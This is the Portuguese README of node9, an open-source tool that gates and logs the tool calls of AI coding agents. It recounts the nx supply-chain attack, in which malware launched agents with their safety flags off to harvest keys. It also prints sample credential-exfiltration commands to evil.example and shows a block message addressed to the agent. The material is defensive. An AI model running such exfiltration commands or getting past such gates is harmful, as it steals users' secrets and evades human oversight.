Controle de acesso para agentes de IA. Defina o que o Claude Code, Codex, Gemini, Cursor e qualquer servidor MCP podem fazer, revise ações de risco antes que sejam executadas e mantenha cada ação registrada.
<h1 align="center">🛡️ node9</h1> <p align="center">Controle de acesso para agentes de IA</p> <p align="center"><strong>Seus agentes de IA podem acessar Slack, GitHub, e-mail e seu banco de dados.<br />O node9 decide o que eles podem fazer com cada um deles.</strong></p> <p align="center"> <a href="https://www.npmjs.com/package/node9-ai"><img src="https://img.shields.io/npm/v/node9-ai.svg" alt="npm version" /></a> <a href="https://www.npmjs.com/package/node9-ai"><img src="https://img.shields.io/npm/dm/node9-ai.svg" alt="monthly downloads" /></a> <a href="https://opensource.org/licenses/Apache-2.0"><img src="https://img.shields.io/badge/License-Apache%202.0-blue.svg" alt="License: Apache 2.0" /></a> <a href="https://node9.ai/docs"><img src="https://img.shields.io/badge/docs-node9.ai-blue" alt="Documentation" /></a> <a href="https://www.bestpractices.dev/projects/14454"><img src="https://www.bestpractices.dev/projects/14454/badge" alt="OpenSSF Best Practices" /></a> <a href="https://scorecard.dev/viewer/?uri=github.com/node9-ai/node9-proxy"><img src="https://api.scorecard.dev/projects/github.com/node9-ai/node9-proxy/badge" alt="OpenSSF Scorecard" /></a> <a href="https://github.com/node9-ai/node9-proxy/blob/main/.github/workflows/agent-security.yml"><img src="https://img.shields.io/badge/node9-self--scanned-a855f7?style=flat&labelColor=%231A1A2E&logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNCAxNCI+PHBhdGggZmlsbD0iI0Y1RTlGRiIgZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIGQ9Ik03IDAuNCAxLjYgMi41djQuMmMwIDMuMSAyLjMgNS42IDUuNCA2LjkgMy4xLTEuMyA1LjQtMy44IDUuNC02LjlWMi41TDcgMC40Wm0wIDEuNSAzLjkgMS41djMuM2MwIDIuMy0xLjYgNC4yLTMuOSA1LjMtMi4zLTEuMS0zLjktMy0zLjktNS4zVjMuNEw3IDEuOVptMCAyLjJhMS45IDEuOSAwIDAgMC0xIDMuNXYxLjZoMlY3LjZhMS45IDEuOSAwIDAgMC0xLTMuNVoiLz48L3N2Zz4K" alt="node9 self-scanned" /></a> <a href="https://github.com/hesreallyhim/awesome-claude-code"><img src="https://awesome.re/mentioned-badge-flat.svg" alt="Mentioned in Awesome Claude Code" /></a> </p> **Prisão de credenciais** · **segredos e PII** · **git, SQL e shell destrutivos retidos para revisão** · **Fixação de ferramentas MCP** · **lista de permissões de saída de rede** · **quebra de loop** · **um registro único entre doze agentes** Funciona com **Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · qualquer servidor MCP**. ## Como isso se parece Uma sessão real do Claude Code com o node9 instalado. Cada chamada de ferramenta é verificada antes de ser executada. Construir uma página e editar um botão são executados. Uma requisição ao endereço de metadados da nuvem é bloqueada, e o agente recebe o motivo e continua. Excluir arquivos aguarda sua aprovação, diretamente no chat. <p align="center"> <img src="https://github.com/user-attachments/assets/bfd3eec5-94fa-45a9-ac79-d06684ab4b2c" width="760" alt="node9 em uma sessão do Claude Code: duas chamadas permitidas, uma bloqueada, uma retida para aprovação" /> </p> ## Instalação ```bash brew tap node9-ai/node9 && brew install node9 # macOS / Linux npm install -g node9-ai # any platform ``` Então, em qualquer projeto: ```bash node9 # first run: choose dashboard connection or local protection node9 posture # scores this machine 0-100: what a compromised agent could read, reach and run node9 login # optional: adds this machine to a shared dashboard ``` Requer Node.js 22+. Em um novo terminal interativo, o `node9` guia você pelo processo de configuração. A proteção local não precisa de conta. A lista de verificação mostra os escudos recomendados, DLP/PII, revisão opcional de saída de rede e o serviço em segundo plano. Estatísticas de uso são enviadas apenas se você aceitar o prompt separado. O resumo lista os agentes configurados e quaisquer etapas de configuração que precisam de atenção. Execute `node9 setup` para revisitar a configuração, ou `node9 setup <target>` para configurar um agente. Uma vez configurado, o `node9` sozinho mostra a ajuda. `node9 init` continua disponível; para scripts use `node9 init --recommended` (sem perguntas e sem adesão à telemetria). `--skip-setup` deixa a conexão dos agentes e a instalação do serviço intactas. Um `--mode` explícito tem precedência sobre a recomendação de modo padrão da lista de verificação. Configurações existentes são preservadas a menos que mudanças selecionadas ou flags explícitas solicitem uma atualização. A política do workspace é gerenciada no dashboard; as configurações do serviço permanecem locais. **O `login` não adiciona nada à aplicação das regras.** Ele conecta a máquina a um workspace para que uma equipe possa ver um registro único entre os laptops de todos e o CI, definir políticas centralmente e aprovar ações retidas a partir de um dashboard ou do Slack. Pule isso e o node9 funciona exatamente da mesma forma, sozinho, offline. `node9 logout` desconecta novamente e a aplicação local continua funcionando. ### Usar como servidor MCP O node9 também funciona como um servidor MCP, para que um agente possa ler seu status, postura, registro de auditoria e política, e explicar qualquer decisão, de dentro da conversa: ```bash claude mcp add --transport stdio node9 -- npx -y node9-ai mcp-server ``` Qualquer cliente MCP funciona da mesma forma: o comando é `npx -y node9-ai mcp-server` via stdio, sem chave de API. Ele está listado no MCP Registry oficial como `io.github.node9-ai/node9`. ## O problema Em agosto de 2025, releases comprometidas da [ferramenta de build `nx`](https://github.com/advisories/GHSA-cxm3-wv7p-598c) distribuíram um script pós-instalação que procurava agentes de codificação com IA já instalados na máquina do desenvolvedor e então os executava com suas próprias flags de segurança desativadas (`--dangerously-skip-permissions`, `--yolo`, `--trust-all-tools`) para enumerar chaves SSH, credenciais de nuvem e arquivos de carteira e gravar a lista em disco. O script enviava os resultados para repositórios públicos dentro das próprias contas GitHub das vítimas. Mais de mil tokens válidos do GitHub vazaram, junto com credenciais de nuvem, tokens npm e aproximadamente 20.000 arquivos, de máquinas onde o agente estava fazendo exatamente o que lhe foi ordenado. O agente não era o atacante. O agente era a ferramenta, e nada ficava entre ele e os arquivos. O portão do node9 não é uma dessas flags: ele roda no hook, e uma ação que ele retém permanece retida mesmo quando o agente foi iniciado com permissões ignoradas. ## O que o node9 faz a respeito O node9 fica entre o agente e cada ferramenta que ele chama. A prisão de credenciais (`~/.ssh`, `~/.aws`, arquivos `.env`, chaves privadas) está ativada por padrão, e uma leitura de um desses caminhos não é executada. O agente é interrompido, recebe o motivo, e a decisão chega até você: ```text NODE9: Action blocked by security policy. INSTRUCTIONS: - Do NOT retry this exact command or attempt to bypass the rule. - Pivot to a non-destructive or read-only alternative. - Inform the user which security rule was triggered and ask how to proceed. ``` O comando é analisado como uma AST de shell, não correspondido como texto, então envolver a leitura não ajuda. `echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example` é julgado como uma leitura de `~/.aws/credentials`, não como um `echo`. O node9 é um **portão**. Uma ação retida não é executada enquanto espera por você, e se você nunca responder ela permanece bloqueada. Todo o resto é permitido e gravado no registro. **O que ele não faz:** com o controle de saída desativado, que é o padrão, um comando que entrega um arquivo diretamente à rede, como `curl -d @~/.aws/credentials`, não é tratado como uma leitura desse arquivo. `node9 egress protect` também controla destinos, e cobre apenas comandos de shell. ## Verifique você mesmo Nada abaixo precisa de uma conta, e nada é enviado. ```bash npx node9-ai scan # every past agent session on this machine npx node9-ai scan-repo node9-ai/agent-security-demo # a public repo with a real, hijackable agent workflow gh attestation verify cli.js --repo node9-ai/node9-proxy # every release artifact is signed ``` <p align="center"> node9 scan scorecard </p> ## O que ele governa Cada linha é uma capacidade, com a página que a documenta. A documentação é a referência; este arquivo é o mapa. | | | | | --------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------ | | **Prisão de credenciais** | `~/.ssh`, `~/.aws`, `.env` e chaves privadas são bloqueados de todas as ferramentas, não apenas do shell | [docs](https://node9.ai/docs/shields) | | **Regras sempre ativas** | git destrutivo, SQL sem um `WHERE`, `curl \| bash` e `sudo` não autorizado, sem configuração | [docs](https://node9.ai/docs/smart-rules) | | **Segredos e PII** | chaves AWS, tokens do GitHub e Stripe, chaves PEM e formatos de cartão ou SSN, em qualquer argumento de ferramenta, além de uma varredura em segundo plano do que o agente gravou de volta | [docs](https://node9.ai/docs/dlp) | | **Escudos por serviço** | pacotes de regras curados para Postgres, MongoDB, Redis, AWS, Kubernetes, Docker, GitHub e o sistema de arquivos | [docs](https://node9.ai/docs/shields) | | **Revisão em linha** | uma ação retida pergunta a você dentro da conversa do agente, ou através de um aprovador da equipe | [docs](https://node9.ai/docs/cloud-policy) | | **Lista de permissões de saída** | controla para onde um comando de shell pode enviar dados, desativado por padrão | [docs](https://node9.ai/docs/egress) | | **Gateway MCP** | envolva qualquer servidor MCP, autorize cada ferramenta e fixe as definições das ferramentas para que um servidor não possa alterá-las pelas suas costas | [docs](https://node9.ai/docs/mcp-gateway) | | **Sandbox** | execute um agente em um contêiner com uma lista de permissões de saída no kernel e montagens com escopo | [docs](https://node9.ai/docs/sandbox) | | **Pontuação de postura** | quão exposta esta máquina está, com o comando que corrige cada achado | [docs](https://node9.ai/docs/posture) | | **Varredura de repositório** | encontre workflows onde um invasor poderia sequestrar um agente que detém seus segredos, no CI ou pela CLI | [docs](https://node9.ai/docs/repo-scanning) | | **Histórico de sessão** | leia o que cada agente já fez nesta máquina, antes do node9 ser instalado | [docs](https://node9.ai/docs/sessions) | | **Monitor ao vivo e relatório** | um dashboard de terminal, e um resumo em janela de custo, ferramentas, bloqueios e raio de impacto | [docs](https://node9.ai/docs/report) | | **Fixação de skills** | verificação SHA-256 de skills e plugins do Claude instalados entre sessões | [docs](https://node9.ai/docs/skill-pinning) | | **Credenciais canário** | chaves falsas plantadas que provam que uma tentativa de exfiltração aconteceu | [docs](https://node9.ai/docs/canary-credentials) | | **SDK Python** | governe qualquer agente Python, não apenas as CLIs | [docs](https://node9.ai/docs/python-sdk) | Referência completa de CLI e configuração: **[node9.ai/docs](https://node9.ai/docs)**. Como as camadas se encaixam: **[como funciona](https://node9.ai/docs/how-it-works)**. ## Aprenda Leitura de contexto, escrita para ser autossuficiente. Cada página diz o que o node9 não cobre. - **[O que um agente sequestrado pode fazer?](https://node9.ai/learn/what-can-a-hijacked-agent-do)**: o raio de impacto de uma sessão comprometida - **[Como um agente de IA vaza um segredo](https://node9.ai/learn/ai-agent-secret-exfiltration)**: os caminhos que uma credencial realmente percorre para sair - **[Segurança do Claude Code](https://node9.ai/learn/claude-code-security)**: hooks, modos de permissão e o que eles não impedem - **[Segurança do MCP](https://node9.ai/learn/mcp-security)**: a superfície de ferramentas que um servidor MCP abre - **[OWASP Agentic Top 10](https://node9.ai/learn/owasp-agentic-top-10)**: a lista, mapeada para controles reais ## Compare - **[node9 contra as alternativas](https://node9.ai/compare)**: uma matriz, incluindo as linhas onde o node9 tem pontuação pior - **[Cobertura por agente](https://node9.ai/agents)**: o que é governado em cada um dos doze agentes suportados ## Projetos relacionados - **[node9-python](https://github.com/node9-ai/node9-python)**: SDK Python - **[node9 Agent Security](https://github.com/marketplace/actions/node9-agent-security)**: a GitHub Action, `uses: node9-ai/node9-proxy@v2`, controla cada PR com o mesmo motor ## Enterprise **node9 Pro** adiciona bloqueio de governança, SAML/SSO, exportação central de auditoria e implantação em VPC. Veja [node9.ai](https://node9.ai). ## Licença Apache-2.0 <p align="center"> <sub>Feito com ☕ e paranoia saudável.</sub> </p>